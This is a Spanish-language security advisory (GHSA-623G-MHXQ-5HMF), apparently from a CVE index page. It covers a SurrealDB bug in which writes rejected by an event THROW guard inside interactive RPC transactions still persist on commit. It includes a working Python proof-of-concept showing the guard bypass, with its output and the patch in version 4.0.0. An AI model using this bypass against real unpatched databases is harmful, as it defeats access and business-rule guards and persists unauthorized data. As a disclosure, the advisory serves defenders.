GHSA-623G-MHXQ-5HMF
Las transacciones interactivas conservan las escrituras de una sentencia rechazada por un evento con THROW, y commit las persiste
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-623G-MHXQ-5HMF divulgada · CVSS 6.5 (GitHub) | |
| Remediación | Parche 4.0.0 | surrealdb · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Resumen
En una transacción interactiva (RPC `begin` / `query` con el id de la transacción / `commit`), una sentencia rechazada por un evento de tabla que ejecuta `THROW` devuelve un error, pero su escritura y las escrituras que el evento realizó antes del `THROW` permanecen en la transacción. Un `commit` posterior las persiste. La sentencia rechazada se comporta como si la guarda del evento hubiera sido superada.
Los eventos con `THROW` se usan habitualmente como guardas (reglas de negocio, comprobaciones de propiedad o de acceso). Cualquier cliente que pueda abrir una transacción interactiva y tenga acceso de escritura a la tabla puede saltarse esa guarda: ejecuta la sentencia protegida, ignora el error y hace `commit`.
Para comparar, los tres casos siguientes no dejan nada persistido:
- la misma sentencia fuera de una transacción;
- la misma sentencia dentro de un lote `BEGIN … COMMIT` en una única solicitud;
- una sentencia rechazada por un `ASSERT` de campo o por un error de tipo dentro de la misma transacción interactiva.
Versiones afectadas
Reproducido en SurrealDB 3.3.4 y 3.1.5 (imágenes Docker oficiales, almacenamiento `memory`, sesión root), con el SDK oficial de Python 2.0.0 sobre WebSocket (RPC `begin`/`commit`). La versión 2.x no ofrece transacciones interactivas por RPC.
Reproducción
import asyncio, sys, uuid
from surrealdb import AsyncSurreal
async def main(url: str) -> None:
c = AsyncSurreal(url); await c.connect(); await c.signin({"username": "root", "password": "root"})
db = "v" + uuid.uuid4().hex[:6]
await c.query_raw(f"DEFINE NAMESPACE IF NOT EXISTS probe; USE NS probe; DEFINE DATABASE {db};"); await c.use("probe", db)
await c.query("DEFINE TABLE item SCHEMALESS; DEFINE EVENT guard ON item WHEN $event = 'CREATE' AND $after.qty < 0 THEN { CREATE audit SET k = 'before-throw'; THROW 'qty must be >= 0' };")
await c.query("DEFINE TABLE acct SCHEMAFULL; DEFINE FIELD balance ON acct TYPE int ASSERT $value >= 0;")
cases = {
"THROW, commit at once": ["CREATE item:bad SET qty = -1"],
"THROW, then an unrelated OK statement": ["CREATE item:bad SET qty = -1", "CREATE item:ok SET qty = 1"],
"ASSERT, then an unrelated OK statement": ["CREATE acct:bad SET balance = -5", "CREATE acct:ok SET balance = 1"],
}
for label, stmts in cases.items():
await c.query("DELETE item; DELETE acct; DELETE audit;")
t = await c.begin()
st = []
for s in stmts:
r = await c.query_raw(s + ";", txn_id=t); st.append(r["result"][0]["status"])
await c.commit(t)
rows = await c.query("SELECT VALUE id FROM item, acct, audit;")
print(f"{label:40} statuses={st} -> after commit: {sorted(str(x) for x in rows)}")
await c.close()
asyncio.run(main(sys.argv[1])) # e.g. ws://localhost:8000/rpcResultado en 3.3.4 (idéntico en 3.1.5):
THROW, commit at once statuses=['ERR'] -> after commit: ['audit:…', 'item:bad']
THROW, then an unrelated OK statement statuses=['ERR', 'OK'] -> after commit: ['audit:…', 'item:bad', 'item:ok']
ASSERT, then an unrelated OK statement statuses=['ERR', 'OK'] -> after commit: ['acct:ok']Esperado: `item:bad` y la fila `audit` del evento no deberían persistirse, como ocurre en el caso de `ASSERT` y fuera de las transacciones. Dentro de la transacción, el registro rechazado también es visible para sentencias posteriores: un `UPDATE item:bad …` en la misma transacción se ejecuta correctamente.
Impacto
Una guarda implementada como un evento que lanza `THROW` puede eludirse mediante una transacción interactiva por cualquiera que tenga permiso de escritura sobre la tabla. El registro protegido y cualquier efecto secundario que el evento escribiera antes de lanzar el error quedan persistidos, y solo se informa un error para la sentencia. Los clientes que capturan el error de la sentencia y hacen `commit` (un patrón habitual de reintento o de «mejor esfuerzo») los persisten sin pretenderlo.
Solución sugerida
Cuando una sentencia falla dentro de una transacción interactiva, revertir las escrituras de esa sentencia, incluidas las de sus eventos, como ya ocurre con un fallo de `ASSERT`. Alternativamente, marcar la transacción como fallida para que `commit` sea rechazado.
Parches
Se ha creado un parche para que un `THROW` lanzado en la guarda de un evento revierta las escrituras de la sentencia y no pueda confirmarse con `commit` dentro de una transacción interactiva.
- La versión 4.0.0 y posteriores no se ven afectadas por este problema.
Referencias
- `test(kvs): pin that a THROWing event guard cannot be committed past` (commit `3c6ae8b227`)
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
crates.iosurrealdb |
Corregida | 4.0.0 | 0 d | 4.0.1 no afectada |
4.0.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/surrealdb/surrealdb/security/advisories/GHSA-623g-mhxq-5hmfLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
